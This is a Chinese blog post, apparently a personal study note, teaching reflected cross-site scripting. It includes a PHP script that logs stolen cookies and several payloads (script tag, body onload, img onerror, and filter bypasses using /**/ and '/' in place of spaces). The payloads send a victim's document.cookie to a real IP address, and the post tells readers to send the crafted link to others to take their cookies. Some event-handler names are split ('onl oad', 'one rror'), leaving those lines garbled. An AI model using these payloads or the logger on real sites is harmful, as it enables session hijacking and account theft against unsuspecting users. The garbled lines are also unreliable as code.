首页 > 其他分享 >xss跨站脚本攻击

xss跨站脚本攻击

时间:2023-10-14 22:47:16浏览次数:28  
标签:脚本 xss 跨站 标签 js 空格 过滤 属性

前言:终于继续来学习xss了

1 反射型xss

xss是跨站脚本攻击的缩写,本来应该写成css,但和层叠样式表(css)重合了,就改叫xss了

1.1无过滤反射型xss

就和名字一样,服务器收到你传递的数据后就直接传递给了前端页面上,然后在前端页面进行显示。

这时候我们直接传入js代码,然后通过js来进行获取cookie等操作。

至于无过滤xss,就是什么过滤都没加的xss.

具体的操作:

第一步:配置xss平台,如果你有自己的服务器和网站自然好,在网站里配置这样的一个php文件

<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.':    '. $cookie . "\n");
fclose($log);
?>

注意服务器要给对应的用户开写入权限,要不然会500.

然后构造以下payload

<script>location.href="http://8.130.47.46/test.php?cookie="+document.cookie</script>

使用这个payload传入后获取url,然后将此url发送给别人,从而获得他的cookie

1.2 过滤script

如果对script进行过滤要怎么构造payload呢?这时候要用到onload事件了

onload事件通常用于<body>中,在页面完全载入后触发,会执行作为属性值的js代码

明白了原理我们来构造payload

<body onl oad=location.href="http://8.130.47.46/test.php?cookie="+document.cookie></body>

这里有个点需要强调以下,此处由于网址用双引号包括,故整体的属性值不能用双引号包含,否则会不

符合输入格式

这里介绍第二种方式

<img src="" one rror=location.href="http://8.130.47.46/test.php?cookie="+document.cookie>

这里介绍以下img标签的onerror属性 和名字相符合,在加载src的图片错误时会进行执行其属性的j

avascript内容,我们在上面设置的src 为空,所以会加载错误,然后执行我们需要的内容。

1.3 对空格进行过滤

对于空格,由于js种/**/是注释,不会进行解析,所以可以使用/**/绕过空格过滤

在标签中进行过滤有一种特殊的方式绕过标签名和属性名之间的空格。

<body/onload=...> 结构中的 / 实际上是在 HTML 标签内部利用了一种技巧来绕过某些安全检查。

在这里,/ 的使用是为了结束标签的属性,使得后续的输入被解析为一个新的属性。常规的属性-值对在 HTML 中是通过空格分隔的,例如:

htmlCopy code
<body onl oad="...">

但如果由于某种原因,你不能或不想在载荷中使用空格(例如,某些过滤规则可能会移除或阻止空格的使用),那么可以使用 / 来绕过此限制。在上述情况下,<body/onload=...> 会被浏览器解析为:

  • 一个名为 body 的标签;
  • 一个名为 onload 的属性,其值为后面的 JavaScript 代码。

标签:脚本,xss,跨站,标签,js,空格,过滤,属性
From: https://www.cnblogs.com/rpup/p/17764892.html

相关文章

  • Shell脚本实现类Windows回收站
    Shell脚本实现类Windows回收站目录drm伪命令2参数2示例2命令安装3脚本说明3脚本安装3执行bashinstall.sh安装4再次执行bashinstall.sh进行对drm操作4命令使用5查看帮助信息5将文件放入回收站5创建测试文件5指定自动清理的时间和过程5删除文件5删除多个文件和目录6......
  • 部署Nginx1.23脚本
    #!/bin/bashck_ok(){    if[$?-ne0]    then        echo"$1error."        exit1    fi}download_ng(){  cd /usr/local/src  if[-fnginx-1.23.0.tar.gz]  then    echo"当前目录已......
  • 创建用户密码的脚本
       ......
  • Linux开发环境中使用shell/python脚本快速自动打包并查看apk文件
    最近工作中突然遇到一个很烦人的问题,事情的起因是这样的.我参与开发/维护着大概5个项目,负责服务端后台的同事经常在自己的本地电脑启着本地服务测试一些东西,而他们的本地局域网IP是经常变动的,那么问题来了,只要他们的IP地址变动了就会过来找我针对某个局域网IP地址为某个......
  • Loadrunner12 在谷歌浏览器录制https协议的脚本时,提示不是私密链接-解决办法
    在谷歌浏览器下,录制https协议网址的脚本时,会出现如下提示:   接下来,教大家一招黑操作: 1、鼠标点击屏幕,聚焦在当前页面2、输入thisisunsafe,点击回车,奇迹的事情发生了,可以打开https协议的网页正常录制了!!!   3、接下来就根据你的测试需求,来进行操作。(只要提示不是私密......
  • 原始ajax、XSS注入ajax
    一、原始的ajax<%@pagecontentType="text/html;charset=UTF-8"pageEncoding="UTF-8"%><!DOCTYPEhtml><html><head><title>ajax</title></head><body><!--http://127.0.0.1:9999/aja......
  • 一些shell脚本
    1.判断目录是否为空DIRECTORY=$1#在此加上是不是目录的判断。if["ls-A$DIRECTORY"=""];thenecho"$DIRECTORY目录是空的"elseecho"$DIRECTORY目录非空"fi2.判断文件夹是否存在if[-d"/data/"];thenecho"文件夹存在"elseech......
  • Linux脚本内开异步进程和终端开异步进程区别
    sleep.sh内容sleep1000&echo$!脚本内开异步进程是1号进程的子进程终端开异步进程是当前bash进程的子进程在关闭终端后该异步进程会停止停止终端时想要继续执行,使用nohupsleep1000&,刚开始是终端bash进程的子进程,在终端停止后会变成1号进程的子进程。......
  • 2023-10-12 javac : 无法将“javac”项识别为 cmdlet、函数、脚本文件或可运行程序的
    找到你的jdk安装路径/bin,复制并扔到环境变量中去即可,如:   ......
  • R 脚本Trycatch在for循环中的使用记录
    点击查看代码x=list()p=list()outdir=paste0(getwd(),'/8.metabolites.connect.enrichment')if(dir.exists(outdir)){print("direxists")}else{dir.create(outdir)}for(iinc(2:length(each))){x[[i]]=e......